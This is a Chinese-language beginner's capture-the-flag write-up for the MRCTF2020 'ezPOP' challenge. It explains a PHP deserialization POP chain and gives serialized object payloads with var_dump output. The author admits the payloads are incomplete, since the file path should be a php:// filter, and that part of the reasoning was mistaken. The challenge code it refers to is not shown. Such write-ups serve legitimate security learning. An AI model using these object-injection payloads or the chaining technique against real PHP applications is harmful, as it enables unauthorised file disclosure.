MRCTF2020--ezPOP初学者学习与分析
我们直接上题目

我们知道,php的反序列化题目大多是依靠我们传入一个序列化的对象,依靠我们唯一能控制的成员属性,利用题目里面的魔术方法一层一层跳转达到我们 “借刀杀人” 的目的,获取敏感的数据,也可以被称为 “面向属性编程”
题目里包含的魔术方法如下:

我们开始分析题目:

我们分析pop链的题目时,最好使用逆向分析的方法,也就是把我们离目标最近的思路搞清楚,再去想怎么把这个思路实现,也就是上面图片的箭头
下面是Payload:
我犯了一个小错误
后面的‘flag.php’其实就是‘php://xxxxx/resource=flag.php’
忘记改了,抱歉
正确Payload:

O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
错误Payload:

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";N;}s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
分析: 使用 var_dump($s)
正确版:
object(Show)#2 (2) {
["source"]=>
*RECURSION*
["str"]=>
object(Test)#1 (1) {
["p"]=>
object(Modifier)#3 (1) {
["var":"Modifier":private]=>
string(8) "flag.php"
}
}
}
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}
错误版:
object(Show)#2 (2) {
["source"]=>
object(Show)#4 (2) {
["source"]=>
NULL
["str"]=>
NULL
}
["str"]=>
object(Test)#1 (1) {
["p"]=>
object(Modifier)#3 (1) {
["var":"Modifier":private]=>
string(8) "flag.php"
}
}
}
可以看到,错误payload的source里的str为NULL,让触发__toString的对象执__toString里面的代码,接下来我们只要控制删不删除$s的str,两个都回显flag,那说明方向是对的
①不删除:
object(Show)#2 (2) {
["source"]=>
object(Show)#4 (2) {
["source"]=>
NULL
["str"]=>
object(Test)#1 (1) {
["p"]=>
object(Modifier)#3 (1) {
["var":"Modifier":private]=>
string(8) "flag.php"
}
}
}
["str"]=>
object(Test)#1 (1) {
["p"]=>
object(Modifier)#3 (1) {
["var":"Modifier":private]=>
string(8) "flag.php"
}
}
}
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s:3:"str";r:4;}
成功回显flag
②删除
object(Show)#2 (2) {
["source"]=>
object(Show)#4 (2) {
["source"]=>
NULL
["str"]=>
object(Test)#1 (1) {
["p"]=>
object(Modifier)#3 (1) {
["var":"Modifier":private]=>
string(8) "flag.php"
}
}
}
["str"]=>
NULL
}
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}s:3:"str";N;}
成功回显flag
---------
过了几分钟,越想越不对劲,直接跳下床,我发现几分钟之前的我蠢得可以,echo source这个对象触发的不就是source的__toString吗,我在干什么???
如有错误,请各位大佬指正